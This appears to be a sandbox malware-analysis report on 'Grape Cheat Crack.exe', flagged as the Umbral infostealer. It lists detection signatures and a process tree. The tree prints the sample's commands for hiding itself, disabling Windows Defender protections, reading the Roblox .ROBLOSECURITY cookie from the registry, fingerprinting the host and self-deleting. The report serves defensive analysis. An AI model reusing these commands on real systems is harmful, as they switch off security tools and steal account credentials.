Resubmissions

01/03/2024, 19:56

240301-ynxjqscd9s10

01/03/2024, 19:36

240301-ya9bdace2310

Analysis

  • max time kernel
    43s
  • max time network
    43s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/03/2024, 19:36

General

  • Target
    Grape Cheat Crack.exe
  • Size 494KB
  • Sample240301-ya9bdace23
  • SHA256 e70684c0929b0713733778032e5b310bae9967f544febfe62009c820f71e950d
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Drops file in Drivers directory 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 53 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 53 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Grape Cheat Crack.exe
    "C:\Users\Admin\AppData\Local\Temp\Grape Cheat Crack.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2924
    • C:\Windows\SYSTEM32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Grape Cheat Crack.exe"
      2⤵
      • Views/modifies file attributes
      PID:224
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Grape Cheat Crack.exe'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1864
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4508
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2092
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:468
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1660
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4416
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
        PID:3944
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:3512
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path win32_VideoController get name
        2⤵
        • Detects videocard installed
        PID:2044
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Grape Cheat Crack.exe" && pause
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3368
        • C:\Windows\system32\PING.EXE
          ping localhost
          3⤵
          • Runs ping.exe
          PID:4436
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /4
      1⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4040

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 8ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 1332dc373efa610424b48ae9955247275f4f94cfeecec93a5121784ed8d6b3db
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 7437b098af4618fbcefe7522942c862aeaf39a0b82ce05b0797185c552f22a3c
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 948B
          • SHA256 3abd14d4fe7b5697b2fa84993e7183f4fd2580be5b4e5150da15ddda5a9560b9
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_xeekzsbi.1ma.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xeekzsbi.1ma.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/468-77-0x00000190360B0000-0x00000190360C0000-memory.dmp

          memory/468-79-0x00000190360B0000-0x00000190360C0000-memory.dmp

          memory/468-67-0x00007FFA7DDA0000-0x00007FFA7E861000-memory.dmp

          memory/468-122-0x00000190360B0000-0x00000190360C0000-memory.dmp

          memory/468-83-0x00000190360B0000-0x00000190360C0000-memory.dmp

          memory/468-82-0x00007FFA7DDA0000-0x00007FFA7E861000-memory.dmp

          memory/1864-17-0x00007FFA7DDA0000-0x00007FFA7E861000-memory.dmp

          memory/1864-3-0x00007FFA7DDA0000-0x00007FFA7E861000-memory.dmp

          memory/1864-4-0x00000214B3330000-0x00000214B3340000-memory.dmp

          memory/1864-10-0x00000214CB7C0000-0x00000214CB7E2000-memory.dmp

          memory/2092-66-0x00007FFA7DDA0000-0x00007FFA7E861000-memory.dmp

          memory/2092-64-0x0000026950430000-0x0000026950440000-memory.dmp

          memory/2092-40-0x00007FFA7DDA0000-0x00007FFA7E861000-memory.dmp

          memory/2092-41-0x0000026950430000-0x0000026950440000-memory.dmp

          memory/2924-81-0x00007FFA7DDA0000-0x00007FFA7E861000-memory.dmp

          memory/2924-85-0x000001F0702B0000-0x000001F0702BA000-memory.dmp

          memory/2924-38-0x000001F070370000-0x000001F0703C0000-memory.dmp

          memory/2924-37-0x000001F0702F0000-0x000001F070366000-memory.dmp

          memory/2924-0-0x000001F06DB70000-0x000001F06DBF2000-memory.dmp

          memory/2924-2-0x000001F0700F0000-0x000001F070100000-memory.dmp

          memory/2924-121-0x00007FFA7DDA0000-0x00007FFA7E861000-memory.dmp

          memory/2924-112-0x000001F0700F0000-0x000001F070100000-memory.dmp

          memory/2924-86-0x000001F0704C0000-0x000001F0704D2000-memory.dmp

          memory/2924-1-0x00007FFA7DDA0000-0x00007FFA7E861000-memory.dmp

          memory/2924-39-0x000001F070270000-0x000001F07028E000-memory.dmp

          memory/3512-114-0x0000028FFC010000-0x0000028FFC020000-memory.dmp

          memory/3512-116-0x00007FFA7DDA0000-0x00007FFA7E861000-memory.dmp

          memory/3512-111-0x00007FFA7DDA0000-0x00007FFA7E861000-memory.dmp

          memory/4040-95-0x000001DA93CE0000-0x000001DA93CE1000-memory.dmp

          memory/4040-101-0x000001DA93CE0000-0x000001DA93CE1000-memory.dmp

          memory/4040-96-0x000001DA93CE0000-0x000001DA93CE1000-memory.dmp

          memory/4040-97-0x000001DA93CE0000-0x000001DA93CE1000-memory.dmp

          memory/4040-98-0x000001DA93CE0000-0x000001DA93CE1000-memory.dmp

          memory/4040-99-0x000001DA93CE0000-0x000001DA93CE1000-memory.dmp

          memory/4040-100-0x000001DA93CE0000-0x000001DA93CE1000-memory.dmp

          memory/4040-91-0x000001DA93CE0000-0x000001DA93CE1000-memory.dmp

          memory/4040-90-0x000001DA93CE0000-0x000001DA93CE1000-memory.dmp

          memory/4040-89-0x000001DA93CE0000-0x000001DA93CE1000-memory.dmp

          memory/4508-29-0x0000020A1EA30000-0x0000020A1EA40000-memory.dmp

          memory/4508-30-0x0000020A1EA30000-0x0000020A1EA40000-memory.dmp

          memory/4508-33-0x0000020A1EA30000-0x0000020A1EA40000-memory.dmp

          memory/4508-34-0x00007FFA7DDA0000-0x00007FFA7E861000-memory.dmp

          memory/4508-19-0x00007FFA7DDA0000-0x00007FFA7E861000-memory.dmp